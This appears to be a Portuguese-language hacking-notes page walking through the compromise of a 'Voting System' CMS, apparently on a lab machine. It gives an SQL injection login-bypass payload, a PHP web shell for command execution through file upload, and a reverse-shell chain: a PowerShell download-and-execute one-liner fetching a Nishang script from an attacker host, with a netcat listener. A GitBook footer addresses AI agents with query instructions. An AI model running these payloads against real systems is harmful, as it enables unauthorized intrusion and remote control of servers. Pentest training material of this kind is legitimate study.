> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/voting-system-cms-exploitation.md).

# Sistema de Votação

## **Vulnerabilidade de Injeção de SQL (SQLi)**

Use `searchsploit` para buscar vulnerabilidades no Sistema de Votação e identificar o seguinte payload:

<figure><img src="/files/f17b893745e2bec191c6d6658a6268ff62724fab" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/bb61073dfcc354efa1d789910abb46119b515630" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Use o Burp Suite para acessar o painel.

<figure><img src="/files/508c229e681b45129a12ac9a3e4be59bb98f193b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ed985e4b09cab8264c23a98be71f508af8ea0dd6" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de upload de arquivos:

Uma vez no painel, crie um novo usuário e envie `cmd.php` para executar comandos no servidor:

<figure><img src="/files/7de94e21b3df67f8487ef90d20808303f3f80f4e" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/c93ffa0c2e11d4f2f20b57c78cde0ed67fcfe584" alt="" width="482"><figcaption></figcaption></figure>

O painel não aplica verificações de segurança, permitindo injeção de comandos como `whoami`. Teste a conectividade com um comando ping:

<figure><img src="/files/52b900389d3adee0f59f44bdce389a430ff549a7" alt=""><figcaption></figcaption></figure>

Teste se o alvo consegue enviar um ping.

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

Receber uma resposta confirma a execução de comandos no alvo.

<figure><img src="/files/84312174b734769f860d7f59e8cf39127aca49a9" alt="" width="563"><figcaption></figcaption></figure>

**Execução de comando PowerShell para uma reverse shell**

Uma vez confirmada a execução de comandos, hospede o `PS.ps1` script na máquina do atacante.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Adicione a seguinte linha no final do script:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/d5e745656c5a381df51d4634a5d2d6bc28fda9a3" alt=""><figcaption></figcaption></figure>

Host `PS.ps1` com um servidor web:

```bash
python3 -m http.server 80
```

Depois, modifique o comando para apontar para o servidor web do atacante:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Por fim, inicie um listener na porta 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/a612770e2a2034d9e3af8e9b226174269b278d16" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/voting-system-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
